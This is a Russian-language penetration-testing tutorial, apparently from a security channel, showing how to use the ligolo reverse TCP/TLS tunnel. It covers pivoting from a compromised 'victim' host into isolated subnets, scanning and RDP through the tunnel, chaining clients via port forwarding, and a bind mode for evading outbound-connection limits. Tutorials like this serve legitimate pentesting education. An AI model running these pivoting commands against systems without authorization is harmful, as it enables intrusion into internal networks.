🔄 Reverse TCP/TLS tunnel (2/4)

🔧 Базовое использование

Запустим сервер на нашем хосте (далее server) с самоподписанным сертификатом, хотя можно использовать и свой сертификат (флаги certfile и autocert). Sudo потребуется для создания TUN интерфейса. Рекомендуем стартовать сервер в tmux для последующей настройки маршрутов.

sudo ./server -selfcert -laddr 0.0.0.0:11601

Создадим в консоли ligolo TUN интерфейс, а также выведем отпечаток используемого сертификата для последующей настройки подключения клиентом.

interface_create --name 'ligolo'
certificate_fingerprint 

Cобранный бинарный файл клиента запустим на сервере, через который хотим проксировать трафик (далее client_1). Необходимо указать полученный отпечаток сертификата.

./client -connect <SERVER-IP>:11601 -accept-fingerprint <Cert_fingerprint>

Проверим на серверной стороне успешность подключения, выберем номер сесии клиента, а также посмотрим существующие интерфейсы на машине client_1. После чего запустим туннель.

session
ifconfig

start или tunnel_start --tun <name of interface>

Теперь на машине server необходимо прописать маршруты до нужных подсетей, доступных с машины client_1 (вот почему рекомендовали tmux).

sudo ip route add <NETWORK> dev ligolo

После чего можно производить любые манипуляции с изолированными хостами, например сканировать недоступные напрямую сети или подключаться по RDP. Стоит отметить, что если клиент был запущен без административных привилегий, то nmap не сможет корректно использовать raw-сокеты, поэтому лучше все равно его запускать с флагом --unprivileged.

nmap -Pn -n -sT -sV 172.26.100.150 -v
xfreerdp /u:<username> /p:<userpassword> /v:172.26.100.150:3389

🔄 Reverse TCP/TLS tunnel (3/4)

🔗 Проброс портов

В ligolo существует полезная функциональность проброса портов для создания цепочек или перенаправления трафика. Например, мы хотим произвести проброс через несколько узлов, либо же перенаправлять трафик, который таргетированно идет на машину жертвы, к нам.

Для этого на стороне server в консоли ligolo выполним следующую команду для проброса порта 4444 клиента в работающий туннель на локальный порт 5555 на стороне сервера (можно указать конкретый IP:port).

listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:5555

Чтобы вывести текущие пробросы и остановить необходимые, можно использовать команды:

listener_list
listener_stop

Используя проброс портов можно объединять клиентов (server → client_1 → client_2) в цепочку. Для этого на сервере сделаем проброс порта 4443 на первом клиенте (client_1), доступном напрямую атакующему.

listener_add --addr 0.0.0.0:4443 --to 127.0.0.1:11601

После чего подключим client_2 через client_1 к серверу.

./client -connect <CLIENT_1 IP>:11601 -accept-fingerprint <Cert_fingerprint>

🔄 Reverse TCP/TLS tunnel (4/4)

⚙️ Bind-режим

Кроме того, возможна работа с использованием bind-подключения, что может быть полезно, например, при обходе ограничений на исходящие соединения на стороне жертвы. Для этого запускаем клиент

 ./client -bind 0.0.0.0:4444

Подключаемся к нему сервером, после чего все как при обычном взаимодействии.

sudo ./server -selfcert
connect_agent --ip <CLIENT_1 IP>:4444

Продолжаем рассказывать историю одного большого пентеста в нашей статье на хабре

Вторая часть посвящена нестандартному способу повышения привилегий в домене Active Directory

Приятного чтения!